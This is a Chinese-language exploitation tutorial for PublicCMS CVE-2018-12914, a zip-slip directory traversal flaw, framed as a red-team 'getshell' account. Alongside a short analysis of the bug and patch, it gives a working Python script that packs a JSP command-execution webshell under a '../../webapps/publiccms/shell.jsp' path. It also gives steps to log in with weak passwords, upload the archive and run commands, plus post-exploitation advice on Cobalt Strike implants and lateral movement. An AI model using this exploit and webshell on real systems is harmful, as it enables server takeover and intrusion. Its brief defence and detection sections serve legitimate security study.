某次护网红队getshell的经历
字数 1340 2025-08-10 13:48:25
PublicCMS CVE-2018-12914 漏洞分析与利用教学文档
1. 漏洞概述
CVE-2018-12914是PublicCMS V4.0.20180210版本中存在的一个高危漏洞,属于目录遍历漏洞。攻击者可以通过构造特殊的ZIP压缩文件,利用解压过程中的路径拼接缺陷,实现任意文件写入,最终导致服务器被控制。
2. 漏洞影响
- 影响版本:PublicCMS V4.0.20180210
- 漏洞危害:跨目录任意文件写入,可导致远程代码执行(RCE)
- 漏洞类型:目录遍历/任意文件写入
3. 漏洞原理分析
3.1 漏洞位置
漏洞位于controller/admin/cms/CmsWebFileAdminController.java文件中的解压功能代码。
3.2 漏洞成因
- 系统使用
dounzip方法处理压缩文件解压 - 解压过程中将
targetPath(上传路径)与压缩包内文件名直接拼接 - 未对压缩包内文件名中的
../进行有效过滤 - 导致攻击者可通过构造包含路径遍历字符(
../)的文件名,将文件写入任意目录
3.3 补丁分析
官方补丁在获取压缩文件中的文件名时,将..替换为空字符串,从而防止了路径遍历。
4. 漏洞利用步骤
4.1 信息收集阶段
- 识别目标系统为PublicCMS
- 确认版本为V4.0.20180210或相近版本
- 查找后台管理入口(常见路径如
/admin/,/login/等)
4.2 构造恶意ZIP文件
使用Python脚本构造包含路径遍历的ZIP文件:
import zipfile
if __name__ == "__main__":
try:
# 木马内容
binary = '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
# 创建ZIP文件
zipFile = zipfile.ZipFile("exploit.zip", "a", zipfile.ZIP_DEFLATED)
# 构造恶意文件名,包含路径遍历
malicious_filename = "../../webapps/publiccms/shell.jsp"
# 将木马写入ZIP
zipFile.writestr(malicious_filename, binary)
zipFile.close()
except IOError as e:
raise e
4.3 漏洞利用过程
- 登录PublicCMS后台(可使用弱密码如admin/admin)
- 找到文件上传/解压功能点
- 上传构造的恶意ZIP文件
exploit.zip - 系统解压时会将
shell.jsp写入webapps/publiccms/目录 - 访问
http://target.com/publiccms/shell.jsp?cmd=whoami执行命令
4.4 后续渗透
- 使用冰蝎/蚁剑等工具连接webshell
- 上传免杀Cobalt Strike木马
- 进行内网横向移动
5. 防御措施
- 升级修复:升级到PublicCMS最新版本
- 输入验证:
- 解压前检查压缩包内文件名
- 过滤
../等路径遍历字符
- 权限控制:
- 限制上传目录的写入权限
- 使用chroot等机制限制解压目录
- 安全配置:
- 禁用不必要的文件上传功能
- 后台管理启用强密码和二次验证
6. 漏洞检测方法
- 版本检查:通过页面元信息或特定文件版本号确认
- 尝试构造无害的测试ZIP(如写入测试文本文件)验证漏洞存在性
7. 相关资源
- CVE官方记录:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12914
- PublicCMS官网:http://www.publiccms.com/
- 漏洞修复补丁:可对比PublicCMS的GitHub提交历史
8. 法律与道德声明
本技术文档仅用于安全研究与防御目的。未经授权对他人系统进行渗透测试是违法行为。安全研究人员应在法律允许范围内进行漏洞研究,发现漏洞后应遵循负责任的披露流程。